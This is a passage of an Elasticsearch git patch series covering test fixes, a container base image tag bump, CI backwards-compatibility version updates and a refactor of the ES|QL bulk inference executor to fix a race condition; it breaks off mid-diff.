index a92fa0a131920..324ff1bde4a1f 100644
--- a/muted-tests.yml
+++ b/muted-tests.yml
@@ -405,9 +405,6 @@ tests:
 - class: org.elasticsearch.xpack.esql.qa.single_node.GenerativeIT
   method: test
   issue: https://github.com/elastic/elasticsearch/issues/130067
-- class: org.elasticsearch.index.engine.ThreadPoolMergeExecutorServiceDiskSpaceTests
-  method: testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution
-  issue: https://github.com/elastic/elasticsearch/issues/130205
 - class: org.elasticsearch.search.SearchWithRejectionsIT
   method: testOpenContextsAfterRejections
   issue: https://github.com/elastic/elasticsearch/issues/130821
diff --git a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
index 9f34c56cf041e..cc8d56c2fb37b 100644
--- a/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
+++ b/server/src/test/java/org/elasticsearch/index/engine/ThreadPoolMergeExecutorServiceDiskSpaceTests.java
@@ -771,16 +771,8 @@ public void testUnavailableBudgetBlocksNewMergeTasksFromStartingExecution() thro
             while (submittedMergesCount > 0 && expectedAvailableBudget.get() > 0L) {
                 ThreadPoolMergeScheduler.MergeTask mergeTask = mock(ThreadPoolMergeScheduler.MergeTask.class);
                 when(mergeTask.supportsIOThrottling()).thenReturn(randomBoolean());
-                doAnswer(mock -> {
-                    Schedule schedule = randomFrom(Schedule.values());
-                    if (schedule == BACKLOG) {
-                        testThreadPool.executor(ThreadPool.Names.GENERIC).execute(() -> {
-                            // re-enqueue backlogged merge task
-                            threadPoolMergeExecutorService.reEnqueueBackloggedMergeTask(mergeTask);
-                        });
-                    }
-                    return schedule;
-                }).when(mergeTask).schedule();
+                // avoid backlogging and re-enqueing merge tasks in this test because it makes the queue's available budget unsteady
+                when(mergeTask.schedule()).thenReturn(randomFrom(RUN, ABORT));
                 // let some task complete, which will NOT hold up any budget
                 if (randomBoolean()) {
                     // this task will NOT hold up any budget because it runs quickly (it is not blocked)

From 1554b3692a3aeb18f4fe462c44716c137a14452a Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Thu, 31 Jul 2025 10:59:38 -0400
Subject: [PATCH 268/299] Update IronBank base image to 9.6 (#131302) (#132206)

(cherry picked from commit 067a812f7e590efc53831e20970f0690e3f09878)
---
 .../docker/src/docker/iron_bank/hardening_manifest.yaml         | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/distribution/docker/src/docker/iron_bank/hardening_manifest.yaml b/distribution/docker/src/docker/iron_bank/hardening_manifest.yaml
index 0a2d3ff921675..4a78658aa06d9 100644
--- a/distribution/docker/src/docker/iron_bank/hardening_manifest.yaml
+++ b/distribution/docker/src/docker/iron_bank/hardening_manifest.yaml
@@ -11,7 +11,7 @@ tags:
 # Build args passed to Dockerfile ARGs
 args:
   BASE_IMAGE: "redhat/ubi/ubi9"
-  BASE_TAG: "9.5"
+  BASE_TAG: "9.6"
 # Docker image labels
 labels:
   org.opencontainers.image.title: "elasticsearch"

From bfe602cb7c70b71a6e5f51531af1fba42a609a63 Mon Sep 17 00:00:00 2001
From: Brian Seeders <brian.seeders@elastic.co>
Date: Thu, 31 Jul 2025 11:00:25 -0400
Subject: [PATCH 269/299] [bwc] Add bugfix4 (#132099) (#132212)

(cherry picked from commit 438f627ff2692363aed7b89aec7b120fd2e474e5)
---
 .../gradle/internal/fake_git/remote/settings.gradle            | 1 +
 build.gradle                                                   | 3 ++-
 distribution/bwc/bugfix4/build.gradle                          | 0
 settings.gradle                                                | 1 +
 4 files changed, 4 insertions(+), 1 deletion(-)
 create mode 100644 distribution/bwc/bugfix4/build.gradle

diff --git a/build-tools-internal/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/settings.gradle b/build-tools-internal/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/settings.gradle
index a07060c3be18f..d3f203ef3fbd9 100644
--- a/build-tools-internal/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/settings.gradle
+++ b/build-tools-internal/src/integTest/resources/org/elasticsearch/gradle/internal/fake_git/remote/settings.gradle
@@ -12,6 +12,7 @@ rootProject.name = "root"
 include ":distribution:bwc:bugfix"
 include ":distribution:bwc:bugfix2"
 include ":distribution:bwc:bugfix3"
+include ":distribution:bwc:bugfix4"
 include ":distribution:bwc:minor"
 include ":distribution:bwc:major"
 include ":distribution:bwc:staged"
diff --git a/build.gradle b/build.gradle
index 5b534394b4e1c..f6c4a9914d8ad 100644
--- a/build.gradle
+++ b/build.gradle
@@ -328,6 +328,7 @@ allprojects {
       dependsOn ":distribution:bwc:bugfix:buildBwcLinuxTar"
       dependsOn ":distribution:bwc:bugfix2:buildBwcLinuxTar"
       dependsOn ":distribution:bwc:bugfix3:buildBwcLinuxTar"
+      dependsOn ":distribution:bwc:bugfix4:buildBwcLinuxTar"
       dependsOn ":distribution:bwc:minor:buildBwcLinuxTar"
       dependsOn ":distribution:bwc:staged:buildBwcLinuxTar"
       dependsOn ":distribution:bwc:staged2:buildBwcLinuxTar"
@@ -366,7 +367,7 @@ allprojects {
         }
       }
     }
-    
+
     proj.tasks.register("bcUpgradeTest$partString") {
       dependsOn tasks.matching { it.name == 'bcUpgradeTest' }
       withReleaseBuild {
diff --git a/distribution/bwc/bugfix4/build.gradle b/distribution/bwc/bugfix4/build.gradle
new file mode 100644
index 0000000000000..e69de29bb2d1d
diff --git a/settings.gradle b/settings.gradle
index f3463efc5af38..d4f83f9ee16f8 100644
--- a/settings.gradle
+++ b/settings.gradle
@@ -79,6 +79,7 @@ List projects = [
   'distribution:bwc:bugfix',
   'distribution:bwc:bugfix2',
   'distribution:bwc:bugfix3',
+  'distribution:bwc:bugfix4',
   'distribution:bwc:maintenance',
   'distribution:bwc:minor',
   'distribution:bwc:staged',

From 2f364bf0ffc0a926a6f335d687ac42acfbc11289 Mon Sep 17 00:00:00 2001
From: elasticsearchmachine <infra-root+elasticsearchmachine@elastic.co>
Date: Thu, 31 Jul 2025 15:16:52 +0000
Subject: [PATCH 270/299] Bump versions after 8.19.0 release

---
 .buildkite/pipelines/intake.yml                  |  2 +-
 .buildkite/pipelines/periodic-packaging.yml      | 12 ++++++------
 .buildkite/pipelines/periodic.yml                | 16 ++++++++--------
 .ci/bwcVersions                                  |  4 ++--
 .ci/snapshotBwcVersions                          |  4 ++--
 .../org/elasticsearch/TransportVersions.java     |  1 +
 .../src/main/java/org/elasticsearch/Version.java |  2 +-
 .../org/elasticsearch/TransportVersions.csv      |  1 +
 .../org/elasticsearch/index/IndexVersions.csv    |  1 +
 9 files changed, 23 insertions(+), 20 deletions(-)

diff --git a/.buildkite/pipelines/intake.yml b/.buildkite/pipelines/intake.yml
index 985c44566c8c2..a0249a13d38a8 100644
--- a/.buildkite/pipelines/intake.yml
+++ b/.buildkite/pipelines/intake.yml
@@ -65,7 +65,7 @@ steps:
         timeout_in_minutes: 300
         matrix:
           setup:
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.9", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.buildkite/pipelines/periodic-packaging.yml b/.buildkite/pipelines/periodic-packaging.yml
index 560197bcea26d..35a8243ead455 100644
--- a/.buildkite/pipelines/periodic-packaging.yml
+++ b/.buildkite/pipelines/periodic-packaging.yml
@@ -302,8 +302,8 @@ steps:
         env:
           BWC_VERSION: 8.16.6
 
-      - label: "{{matrix.image}} / 8.17.10 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.17.10
+      - label: "{{matrix.image}} / 8.17.9 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.17.9
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -316,7 +316,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 8.17.10
+          BWC_VERSION: 8.17.9
 
       - label: "{{matrix.image}} / 8.18.5 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.18.5
@@ -334,8 +334,8 @@ steps:
         env:
           BWC_VERSION: 8.18.5
 
-      - label: "{{matrix.image}} / 8.19.0 / packaging-tests-upgrade"
-        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.19.0
+      - label: "{{matrix.image}} / 8.19.1 / packaging-tests-upgrade"
+        command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v8.19.1
         timeout_in_minutes: 300
         matrix:
           setup:
@@ -348,7 +348,7 @@ steps:
           machineType: custom-16-32768
           buildDirectory: /dev/shm/bk
         env:
-          BWC_VERSION: 8.19.0
+          BWC_VERSION: 8.19.1
 
       - label: "{{matrix.image}} / 9.0.5 / packaging-tests-upgrade"
         command: ./.ci/scripts/packaging-test.sh -Dbwc.checkout.align=true destructiveDistroUpgradeTest.v9.0.5
diff --git a/.buildkite/pipelines/periodic.yml b/.buildkite/pipelines/periodic.yml
index 98cbab4cc9b1b..a9b58a6fe9ef4 100644
--- a/.buildkite/pipelines/periodic.yml
+++ b/.buildkite/pipelines/periodic.yml
@@ -325,8 +325,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 8.17.10 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.17.10#bwcTest
+      - label: 8.17.9 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.17.9#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -335,7 +335,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 8.17.10
+          BWC_VERSION: 8.17.9
         retry:
           automatic:
             - exit_status: "-1"
@@ -363,8 +363,8 @@ steps:
             - signal_reason: agent_stop
               limit: 3
 
-      - label: 8.19.0 / bwc
-        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.19.0#bwcTest
+      - label: 8.19.1 / bwc
+        command: .ci/scripts/run-gradle.sh -Dbwc.checkout.align=true v8.19.1#bwcTest
         timeout_in_minutes: 300
         agents:
           provider: gcp
@@ -373,7 +373,7 @@ steps:
           buildDirectory: /dev/shm/bk
           preemptible: true
         env:
-          BWC_VERSION: 8.19.0
+          BWC_VERSION: 8.19.1
         retry:
           automatic:
             - exit_status: "-1"
@@ -487,7 +487,7 @@ steps:
           setup:
             ES_RUNTIME_JAVA:
               - openjdk21
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.9", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
@@ -531,7 +531,7 @@ steps:
             ES_RUNTIME_JAVA:
               - openjdk21
               - openjdk23
-            BWC_VERSION: ["8.17.10", "8.18.5", "8.19.0", "9.0.5", "9.1.1"]
+            BWC_VERSION: ["8.17.9", "8.18.5", "8.19.1", "9.0.5", "9.1.1"]
         agents:
           provider: gcp
           image: family/elasticsearch-ubuntu-2404
diff --git a/.ci/bwcVersions b/.ci/bwcVersions
index 0220f6c746e31..dda1b818bf29e 100644
--- a/.ci/bwcVersions
+++ b/.ci/bwcVersions
@@ -16,8 +16,8 @@ BWC_VERSION:
   - "8.14.3"
   - "8.15.5"
   - "8.16.6"
-  - "8.17.10"
+  - "8.17.9"
   - "8.18.5"
-  - "8.19.0"
+  - "8.19.1"
   - "9.0.5"
   - "9.1.1"
diff --git a/.ci/snapshotBwcVersions b/.ci/snapshotBwcVersions
index 5fb938db1e912..6decb996644e9 100644
--- a/.ci/snapshotBwcVersions
+++ b/.ci/snapshotBwcVersions
@@ -1,6 +1,6 @@
 BWC_VERSION:
-  - "8.17.10"
+  - "8.17.9"
   - "8.18.5"
-  - "8.19.0"
+  - "8.19.1"
   - "9.0.5"
   - "9.1.1"
diff --git a/server/src/main/java/org/elasticsearch/TransportVersions.java b/server/src/main/java/org/elasticsearch/TransportVersions.java
index d2f80e49f292f..92a71e56a5229 100644
--- a/server/src/main/java/org/elasticsearch/TransportVersions.java
+++ b/server/src/main/java/org/elasticsearch/TransportVersions.java
@@ -213,6 +213,7 @@ static TransportVersion def(int id) {
     public static final TransportVersion ESQL_PROFILE_INCLUDE_PLAN_8_19 = def(8_841_0_62);
     public static final TransportVersion ESQL_SPLIT_ON_BIG_VALUES_8_19 = def(8_841_0_63);
     public static final TransportVersion ESQL_FIXED_INDEX_LIKE_8_19 = def(8_841_0_64);
+    public static final TransportVersion INITIAL_ELASTICSEARCH_8_19_1 = def(8_841_0_65);
     public static final TransportVersion V_9_0_0 = def(9_000_0_09);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_1 = def(9_000_0_10);
     public static final TransportVersion INITIAL_ELASTICSEARCH_9_0_2 = def(9_000_0_11);
diff --git a/server/src/main/java/org/elasticsearch/Version.java b/server/src/main/java/org/elasticsearch/Version.java
index dbe1bb2294d43..c434c37498fc8 100644
--- a/server/src/main/java/org/elasticsearch/Version.java
+++ b/server/src/main/java/org/elasticsearch/Version.java
@@ -205,7 +205,6 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_17_7 = new Version(8_17_07_99);
     public static final Version V_8_17_8 = new Version(8_17_08_99);
     public static final Version V_8_17_9 = new Version(8_17_09_99);
-    public static final Version V_8_17_10 = new Version(8_17_10_99);
     public static final Version V_8_18_0 = new Version(8_18_00_99);
     public static final Version V_8_18_1 = new Version(8_18_01_99);
     public static final Version V_8_18_2 = new Version(8_18_02_99);
@@ -213,6 +212,7 @@ public class Version implements VersionId<Version>, ToXContentFragment {
     public static final Version V_8_18_4 = new Version(8_18_04_99);
     public static final Version V_8_18_5 = new Version(8_18_05_99);
     public static final Version V_8_19_0 = new Version(8_19_00_99);
+    public static final Version V_8_19_1 = new Version(8_19_01_99);
     public static final Version V_9_0_0 = new Version(9_00_00_99);
     public static final Version V_9_0_1 = new Version(9_00_01_99);
     public static final Version V_9_0_2 = new Version(9_00_02_99);
diff --git a/server/src/main/resources/org/elasticsearch/TransportVersions.csv b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
index 4090ced856d01..a52b3eb5e4b3d 100644
--- a/server/src/main/resources/org/elasticsearch/TransportVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/TransportVersions.csv
@@ -155,6 +155,7 @@
 8.18.2,8840004
 8.18.3,8840005
 8.18.4,8840006
+8.19.0,8841064
 9.0.0,9000009
 9.0.1,9000010
 9.0.2,9000011
diff --git a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
index b9c5e84f4920b..5a1d00a5e53be 100644
--- a/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
+++ b/server/src/main/resources/org/elasticsearch/index/IndexVersions.csv
@@ -155,6 +155,7 @@
 8.18.2,8525000
 8.18.3,8525000
 8.18.4,8525000
+8.19.0,8536000
 9.0.0,9009000
 9.0.1,9009000
 9.0.2,9009000

From 0ee4c1833ee4021183ca1cad984434b69c492b6d Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Aur=C3=A9lien=20FOUCRET?= <aurelien.foucret@gmail.com>
Date: Thu, 31 Jul 2025 18:01:00 +0200
Subject: [PATCH 271/299] Fix BulkInferenceExecutorTests timeout caused by a
 race condition. (#130991)

---
 .../bulk/BulkInferenceExecutionState.java     |   6 +-
 .../inference/bulk/BulkInferenceExecutor.java | 443 +++++++++++-------
 .../bulk/BulkInferenceExecutorTests.java      |  39 +-
 3 files changed, 303 insertions(+), 185 deletions(-)

diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutionState.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutionState.java
index 55f1f49f68c21..48303be617286 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutionState.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutionState.java
@@ -27,8 +27,8 @@ public class BulkInferenceExecutionState {
     private final Map<Long, InferenceAction.Response> bufferedResponses;
     private final AtomicBoolean finished = new AtomicBoolean(false);
 
-    public BulkInferenceExecutionState(int bufferSize) {
-        this.bufferedResponses = new ConcurrentHashMap<>(bufferSize);
+    public BulkInferenceExecutionState() {
+        this.bufferedResponses = new ConcurrentHashMap<>();
     }
 
     /**
@@ -125,7 +125,7 @@ public void addFailure(Exception e) {
      * Indicates whether the entire bulk execution is marked as finished and all responses have been successfully persisted.
      */
     public boolean finished() {
-        return finished.get() && getMaxSeqNo() == getPersistedCheckpoint();
+        return hasFailure() || (finished.get() && getMaxSeqNo() == getPersistedCheckpoint());
     }
 
     /**
diff --git a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutor.java b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutor.java
index 257799962dda7..1dfedd55a39fe 100644
--- a/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutor.java
+++ b/x-pack/plugin/esql/src/main/java/org/elasticsearch/xpack/esql/inference/bulk/BulkInferenceExecutor.java
@@ -8,253 +8,344 @@
 package org.elasticsearch.xpack.esql.inference.bulk;
 
 import org.elasticsearch.action.ActionListener;
-import org.elasticsearch.common.util.concurrent.AbstractRunnable;
+import org.elasticsearch.common.util.concurrent.ConcurrentCollections;
 import org.elasticsearch.threadpool.ThreadPool;
 import org.elasticsearch.xpack.core.inference.action.InferenceAction;
 import org.elasticsearch.xpack.esql.inference.InferenceRunner;
-import org.elasticsearch.xpack.esql.plugin.EsqlPlugin;
 
 import java.util.ArrayList;
 import java.util.List;
-import java.util.concurrent.ArrayBlockingQueue;
-import java.util.concurrent.BlockingQueue;
+import java.util.Queue;
+import java.util.Set;
+import java.util.concurrent.ConcurrentLinkedQueue;
 import java.util.concurrent.ExecutorService;
 import java.util.concurrent.Semaphore;
 import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.function.Consumer;
+
+import static org.elasticsearch.xpack.esql.plugin.EsqlPlugin.ESQL_WORKER_THREAD_POOL_NAME;
 
 /**
  * Executes a sequence of inference requests in bulk with throttling and concurrency control.
  */
 public class BulkInferenceExecutor {
-    private final ThrottledInferenceRunner throttledInferenceRunner;
-    private final BulkInferenceExecutionConfig bulkExecutionConfig;
+    private final InferenceRunner inferenceRunner;
+    private final Semaphore permits;
+    private final ExecutorService executorService;
+
+    /**
+     * Custom concurrent queue that prevents duplicate bulk requests from being queued.
+     * <p>
+     * This queue implementation ensures fairness among multiple concurrent bulk operations
+     * by preventing the same bulk request from being queued multiple times. It uses a
+     * backing concurrent set to track which requests are already queued.
+     * </p>
+     */
+    private final Queue<BulkInferenceRequest> pendingBulkRequests = new ConcurrentLinkedQueue<>() {
+        private final Set<BulkInferenceRequest> requests = ConcurrentCollections.newConcurrentSet();
+
+        @Override
+        public boolean offer(BulkInferenceRequest bulkInferenceRequest) {
+            synchronized (requests) {
+                if (requests.add(bulkInferenceRequest)) {
+                    return super.offer(bulkInferenceRequest);
+                }
+                return false; // Already exists, don't add duplicate
+            }
+        }
+
+        @Override
+        public BulkInferenceRequest poll() {
+            synchronized (requests) {
+                BulkInferenceRequest request = super.poll();
+                if (request != null) {
+                    requests.remove(request);
+                }
+                return request;
+            }
+        }
+    };
 
     /**
      * Constructs a new {@code BulkInferenceExecutor}.
      *
-     * @param inferenceRunner      The inference runner used to execute individual inference requests.
-     * @param threadPool           The thread pool for executing inference tasks.
-     * @param bulkExecutionConfig  Configuration options (throttling and concurrency limits).
+     * @param inferenceRunner     The inference runner used to execute individual inference requests.
+     * @param threadPool          The thread pool for executing inference tasks.
+     * @param bulkExecutionConfig Configuration options (throttling and concurrency limits).
      */
     public BulkInferenceExecutor(InferenceRunner inferenceRunner, ThreadPool threadPool, BulkInferenceExecutionConfig bulkExecutionConfig) {
-        this.throttledInferenceRunner = ThrottledInferenceRunner.create(inferenceRunner, executorService(threadPool), bulkExecutionConfig);
-        this.bulkExecutionConfig = bulkExecutionConfig;
+        this.inferenceRunner = inferenceRunner;
+        this.permits = new Semaphore(bulkExecutionConfig.maxOutstandingRequests());
+        this.executorService = threadPool.executor(ESQL_WORKER_THREAD_POOL_NAME);
     }
 
     /**
-     * Executes the provided bulk inference requests.
-     * <p>
-     * Each request is sent to the {@link ThrottledInferenceRunner} to be executed.
-     *  The final listener is notified with all successful responses once all requests are completed.
+     * Executes multiple inference requests in bulk and collects all responses.
      *
-     * @param requests An iterator over the inference requests to be executed.
-     * @param listener A listener notified with the complete list of responses or a failure.
+     * @param requests An iterator over the inference requests to execute
+     * @param listener Called with the list of all responses in request order
      */
     public void execute(BulkInferenceRequestIterator requests, ActionListener<List<InferenceAction.Response>> listener) {
+        List<InferenceAction.Response> responses = new ArrayList<>();
+        execute(requests, responses::add, ActionListener.wrap(ignored -> listener.onResponse(responses), listener::onFailure));
+    }
+
+    /**
+     * Executes multiple inference requests in bulk with streaming response handling.
+     * <p>
+     * This method orchestrates the entire bulk inference process:
+     * 1. Creates execution state to track progress and responses
+     * 2. Sets up response handling pipeline
+     * 3. Initiates asynchronous request processing
+     * </p>
+     *
+     * @param requests           An iterator over the inference requests to execute
+     * @param responseConsumer   Called for each successful inference response as they complete
+     * @param completionListener Called when all requests are complete or if any error occurs
+     */
+    public void execute(
+        BulkInferenceRequestIterator requests,
+        Consumer<InferenceAction.Response> responseConsumer,
+        ActionListener<Void> completionListener
+    ) {
         if (requests.hasNext() == false) {
-            listener.onResponse(List.of());
+            completionListener.onResponse(null);
             return;
         }
 
-        final BulkInferenceExecutionState bulkExecutionState = new BulkInferenceExecutionState(
-            bulkExecutionConfig.maxOutstandingRequests()
-        );
-        final ResponseHandler responseHandler = new ResponseHandler(bulkExecutionState, listener, requests.estimatedSize());
-
-        while (bulkExecutionState.finished() == false && requests.hasNext()) {
-            InferenceAction.Request request = requests.next();
-            long seqNo = bulkExecutionState.generateSeqNo();
-
-            if (requests.hasNext() == false) {
-                bulkExecutionState.finish();
-            }
-
-            ActionListener<InferenceAction.Response> inferenceResponseListener = ActionListener.runAfter(
-                ActionListener.wrap(
-                    r -> bulkExecutionState.onInferenceResponse(seqNo, r),
-                    e -> bulkExecutionState.onInferenceException(seqNo, e)
-                ),
-                responseHandler::persistPendingResponses
-            );
-
-            if (request == null) {
-                inferenceResponseListener.onResponse(null);
-            } else {
-                throttledInferenceRunner.doInference(request, inferenceResponseListener);
-            }
-        }
+        new BulkInferenceRequest(requests, responseConsumer, completionListener).executePendingRequests();
     }
 
     /**
-     * Handles collection and delivery of inference responses once they are complete.
+     * Encapsulates the execution state and logic for a single bulk inference operation.
+     * <p>
+     * This inner class manages the complete lifecycle of a bulk inference request, including:
+     * - Request iteration and permit-based concurrency control
+     * - Asynchronous execution with hybrid recursion strategy
+     * - Response collection and ordering via execution state
+     * - Error handling and completion notification
+     * </p>
+     * <p>
+     * Each BulkInferenceRequest instance represents one bulk operation that may contain
+     * multiple individual inference requests. Multiple BulkInferenceRequest instances
+     * can execute concurrently, with fairness ensured through the pending queue mechanism.
+     * </p>
      */
-    private static class ResponseHandler {
-        private final List<InferenceAction.Response> responses;
-        private final ActionListener<List<InferenceAction.Response>> listener;
-        private final BulkInferenceExecutionState bulkExecutionState;
+    private class BulkInferenceRequest {
+        private final BulkInferenceRequestIterator requests;
+        private final Consumer<InferenceAction.Response> responseConsumer;
+        private final ActionListener<Void> completionListener;
+
+        private final BulkInferenceExecutionState executionState = new BulkInferenceExecutionState();
         private final AtomicBoolean responseSent = new AtomicBoolean(false);
 
-        private ResponseHandler(
-            BulkInferenceExecutionState bulkExecutionState,
-            ActionListener<List<InferenceAction.Response>> listener,
-            int estimatedSize
+        BulkInferenceRequest(
+            BulkInferenceRequestIterator requests,
+            Consumer<InferenceAction.Response> responseConsumer,
+            ActionListener<Void> completionListener
         ) {
-            this.listener = listener;
-            this.bulkExecutionState = bulkExecutionState;
-            this.responses = new ArrayList<>(estimatedSize);
+            this.requests = requests;
+            this.responseConsumer = responseConsumer;
+            this.completionListener = completionListener;
         }
 
         /**
-         * Persists all buffered responses that can be delivered in order, and sends the final response if all requests are finished.
+         * Attempts to poll the next request from the iterator and acquire a permit for execution.
+         * <p>
+         * Because multiple threads may call this concurrently via async callbacks, this method is synchronized to ensure thread-safe access
+         * to the request iterator.
+         * </p>
+         *
+         * @return A BulkRequestItem if a request and permit are available, null otherwise
          */
-        public synchronized void persistPendingResponses() {
-            long persistedSeqNo = bulkExecutionState.getPersistedCheckpoint();
-
-            while (persistedSeqNo < bulkExecutionState.getProcessedCheckpoint()) {
-                persistedSeqNo++;
-                if (bulkExecutionState.hasFailure() == false) {
-                    try {
-                        InferenceAction.Response response = bulkExecutionState.fetchBufferedResponse(persistedSeqNo);
-                        responses.add(response);
-                    } catch (Exception e) {
-                        bulkExecutionState.addFailure(e);
-                    }
+        private BulkRequestItem pollPendingRequest() {
+            synchronized (requests) {
+                if (requests.hasNext()) {
+                    return new BulkRequestItem(executionState.generateSeqNo(), requests.next());
                 }
-                bulkExecutionState.markSeqNoAsPersisted(persistedSeqNo);
             }
 
-            sendResponseOnCompletion();
+            return null;
         }
 
         /**
-         * Sends the final response or failure once all inference tasks have completed.
+         * Main execution loop that processes inference requests asynchronously with hybrid recursion strategy.
+         * <p>
+         * This method implements a continuation-based asynchronous pattern with the following features:
+         * - Queue-based fairness: Multiple bulk requests can be queued and processed fairly
+         * - Permit-based concurrency control: Limits concurrent inference requests using semaphores
+         * - Hybrid recursion strategy: Uses direct recursion for performance up to 100 levels,
+         * then switches to executor-based continuation to prevent stack overflow
+         * - Duplicate prevention: Custom queue prevents the same bulk request from being queued multiple times
+         * </p>
+         * <p>
+         * Execution flow:
+         * 1. Attempts to acquire a permit for concurrent execution
+         * 2. If no permit available, queues this bulk request for later execution
+         * 3. Polls for the next available request from the iterator
+         * 4. If no requests available, schedules the next queued bulk request
+         * 5. Executes the request asynchronously with proper continuation handling
+         * 6. Uses hybrid recursion: direct calls up to 100 levels, executor-based beyond that
+         * </p>
+         * <p>
+         * The loop terminates when:
+         * - No more requests are available and no permits can be acquired
+         * - The bulk execution is marked as finished (due to completion or failure)
+         * - An unrecoverable error occurs during processing
+         * </p>
          */
-        private void sendResponseOnCompletion() {
-            if (bulkExecutionState.finished() && responseSent.compareAndSet(false, true)) {
-                if (bulkExecutionState.hasFailure() == false) {
-                    try {
-                        listener.onResponse(responses);
+        private void executePendingRequests() {
+            executePendingRequests(0);
+        }
+
+        private void executePendingRequests(int recursionDepth) {
+            try {
+                while (executionState.finished() == false) {
+                    if (permits.tryAcquire() == false) {
+                        if (requests.hasNext()) {
+                            pendingBulkRequests.add(this);
+                        }
                         return;
-                    } catch (Exception e) {
-                        bulkExecutionState.addFailure(e);
-                    }
-                }
+                    } else {
+                        BulkRequestItem bulkRequestItem = pollPendingRequest();
 
-                listener.onFailure(bulkExecutionState.getFailure());
-            }
-        }
-    }
+                        if (bulkRequestItem == null) {
+                            // No more requests available
+                            // Release the permit we didn't used and stop processing
+                            permits.release();
 
-    /**
-     * Manages throttled inference tasks execution.
-     */
-    private static class ThrottledInferenceRunner {
-        private final InferenceRunner inferenceRunner;
-        private final ExecutorService executorService;
-        private final BlockingQueue<AbstractRunnable> pendingRequestsQueue;
-        private final Semaphore permits;
-
-        private ThrottledInferenceRunner(InferenceRunner inferenceRunner, ExecutorService executorService, int maxRunningTasks) {
-            this.executorService = executorService;
-            this.permits = new Semaphore(maxRunningTasks);
-            this.inferenceRunner = inferenceRunner;
-            this.pendingRequestsQueue = new ArrayBlockingQueue<>(maxRunningTasks);
-        }
+                            // Check if another bulk request is pending for execution.
+                            BulkInferenceRequest nexBulkRequest = pendingBulkRequests.poll();
 
-        /**
-         * Creates a new {@code ThrottledInferenceRunner} with the specified configuration.
-         *
-         * @param inferenceRunner     TThe inference runner used to execute individual inference requests.
-         * @param executorService     The executor used for asynchronous execution.
-         * @param bulkExecutionConfig Configuration options (throttling and concurrency limits).
-         */
-        public static ThrottledInferenceRunner create(
-            InferenceRunner inferenceRunner,
-            ExecutorService executorService,
-            BulkInferenceExecutionConfig bulkExecutionConfig
-        ) {
-            return new ThrottledInferenceRunner(inferenceRunner, executorService, bulkExecutionConfig.maxOutstandingRequests());
-        }
+                            while (nexBulkRequest == this) {
+                                nexBulkRequest = pendingBulkRequests.poll();
+                            }
 
-        /**
-         * Schedules the inference task for execution. If a permit is available, the task runs immediately; otherwise, it is queued.
-         *
-         * @param request  The inference request.
-         * @param listener The listener to notify on response or failure.
-         */
-        public void doInference(InferenceAction.Request request, ActionListener<InferenceAction.Response> listener) {
-            enqueueTask(request, listener);
-            executePendingRequests();
-        }
+                            if (nexBulkRequest != null) {
+                                executorService.execute(nexBulkRequest::executePendingRequests);
+                            }
 
-        /**
-         * Attempts to execute as many pending inference tasks as possible, limited by available permits.
-         */
-        private void executePendingRequests() {
-            while (permits.tryAcquire()) {
